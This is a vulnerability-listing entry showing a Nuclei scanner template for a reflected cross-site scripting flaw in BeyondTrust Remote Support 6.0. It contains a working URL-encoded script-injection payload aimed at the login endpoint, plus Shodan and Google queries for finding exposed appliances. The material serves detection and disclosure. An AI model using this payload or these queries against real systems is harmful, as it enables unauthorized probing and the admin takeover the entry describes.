beyond-trust-xss: BeyondTrust Remote Support 6.0 - Cross-Site Scripting

2025-08-01 BeyondTrust Remote Support 6.0 PoC Public

Description

Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML. Remote attackers could acheive full admin access to the appliance, by tricking the administrator into creating a new admin account through an XSS/CSRF attack involving a crafted request to the /appliance/users?action=edit endpoint.

PoC

id: beyond-trust-xss

info:
  name: BeyondTrust Remote Support 6.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    Unauthenticated cross-site scripting (XSS) vulnerability in BeyondTrust Secure Remote Access Base Software through 6.0.1 allow remote attackers to inject arbitrary web script or HTML. Remote attackers could acheive full admin access to the appliance, by tricking the administrator into creating a new admin account through an XSS/CSRF attack involving a crafted request to the /appliance/users?action=edit endpoint.
  reference:
    - https://www.exploit-db.com/exploits/50632
  classification:
    cpe: cpe:2.3:a:beyondtrust:remote_support:*:*:*:*:*:*:*:*
    cwe-id: CWE-79,CWE-83
  metadata:
    verified: true
    max-request: 1
    vendor: beyondtrust
    product: remote_support
    shodan-query: html:"BeyondTrust"
    google-query: intext:"BeyondTrust" "Redistribution Prohibited"
  tags: beyondtrust,xss,intrusive,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/appliance/login?login[password]={{randstr}}%22%3E%3Csvg/onload=alert(document.domain)%3E&login[use_curr]=1&login[submit]=Change%20Password"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "<svg/onload=alert(document.domain)>") && contains(body, "beyondtrust")'
        condition: and
# digest: 4a0a00473045022100a926aebe5d1316addeb0e99f668961bc6435294a8afcde08f55f527cc956522702207ee053b94efb9139a82c1b93f23e707c35e269bc018f5880e869bb26b3557de0:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/beyond-trust-xss.yaml

References

Related Vulnerabilities